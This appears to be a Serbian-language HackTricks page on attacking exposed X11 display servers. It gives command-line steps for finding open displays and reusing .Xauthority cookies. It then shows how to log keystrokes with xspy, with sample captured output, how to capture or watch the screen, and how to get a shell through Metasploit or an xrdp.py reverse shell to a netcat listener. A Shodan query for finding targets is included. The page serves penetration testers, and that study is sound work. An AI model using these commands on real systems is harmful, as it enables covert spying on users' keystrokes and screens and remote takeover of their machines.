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134 lines
4.6 KiB
Markdown
134 lines
4.6 KiB
Markdown
# 6000 - Pentesting X11
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{{#include ../banners/hacktricks-training.md}}
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## Osnovne informacije
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**X Window System** (X) je svestran sistem prozora koji je prisutan na operativnim sistemima zasnovanim na UNIX-u. Pruža okvir za kreiranje grafičkih **korisničkih interfejsa (GUI)**, pri čemu pojedinačni programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznolika i prilagodljiva iskustva unutar X okruženja.
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**Podrazumevani port:** 6000
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```
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PORT STATE SERVICE
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6000/tcp open X11
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```
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## Enumeration
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Proverite za **anonimnu vezu:**
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```bash
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nmap -sV --script x11-access -p <PORT> <IP>
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msf> use auxiliary/scanner/x11/open_x11
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```
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#### Lokalna Enumeracija
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Fajl **`.Xauthority`** u korisničkom home folderu se **koristi** od strane **X11 za autorizaciju**. Iz [**ovde**](https://stackoverflow.com/a/37367518):
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```bash
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$ xxd ~/.Xauthority
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00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
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00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
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00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
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00000030: 041d ef ...
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```
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> MIT-magic-cookie-1: Generisanje 128bit ključa (“cookie”), čuvanje u \~/.Xauthority (ili gde pokazivač XAUTHORITY ukazuje). Klijent ga šalje serveru u plain formatu! Server proverava da li ima kopiju ovog “cookie” i ako ima, veza je dozvoljena. Ključ generiše DMX.
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> [!WARNING]
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> Da biste **koristili cookie**, treba da postavite env var: **`export XAUTHORITY=/path/to/.Xauthority`**
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#### Lokalna enumeracija sesije
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```bash
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$ w
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23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
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USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
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user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
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```
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U primeru, `localhost:0` je pokretao xfce4-session.
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## Verifikujte Konekciju
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```bash
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xdpyinfo -display <ip>:<display>
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xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
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```
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## Keyloggin
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[xspy](http://tools.kali.org/sniffingspoofing/xspy) za presretanje pritisaka na tastaturi.
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Sample Output:
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```
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xspy 10.9.xx.xx
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opened 10.9.xx.xx:0 for snoopng
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swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
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qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
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```
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## Snimanje ekrana
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```bash
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xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
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convert screenshot.xwd screenshot.png
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```
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## Udaljeni Desktop Prikaz
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Putanja sa: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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```
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./xrdp.py <IP:0>
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```
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Prvo moramo pronaći ID prozora koristeći xwininfo
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```
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xwininfo -root -display 10.9.xx.xx:0
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xwininfo: Window id: 0x45 (the root window) (has no name)
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Absolute upper-left X: 0
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Absolute upper-left Y: 0
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Relative upper-left X: 0
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Relative upper-left Y: 0
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Width: 1024
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Height: 768
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Depth: 16
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Visual: 0x21
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Visual Class: TrueColor
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Border width: 0
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Class: InputOutput
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Colormap: 0x20 (installed)
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Bit Gravity State: ForgetGravity
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Window Gravity State: NorthWestGravity
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Backing Store State: NotUseful
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Save Under State: no
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Map State: IsViewable
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Override Redirect State: no
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Corners: +0+0 -0+0 -0-0 +0-0
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-geometry 1024x768+0+0
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```
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**XWatchwin**
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Za **uživo gledanje** potrebno je koristiti
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```bash
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./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
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./xwatchwin 10.9.xx.xx:0 -w 0x45
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```
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## Dobijanje Shell-a
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```
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msf> use exploit/unix/x11/x11_keyboard_exec
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```
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**Reverse Shell:** Xrdp takođe omogućava uzimanje reverse shell-a putem Netcat-a. Ukucajte sledeću komandu:
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```bash
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./xrdp.py \<IP:0> –no-disp
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```
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U interfejsu možete videti opciju **R-shell**.
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Zatim, pokrenite **Netcat listener** na vašem lokalnom sistemu na portu 5555.
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```bash
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nc -lvp 5555
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```
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Zatim unesite svoju IP adresu i port u opciju **R-Shell** i kliknite na **R-shell** da dobijete shell
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## Reference
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- [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
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- [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
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## Shodan
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- `port:6000 x11`
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{{#include ../banners/hacktricks-training.md}}
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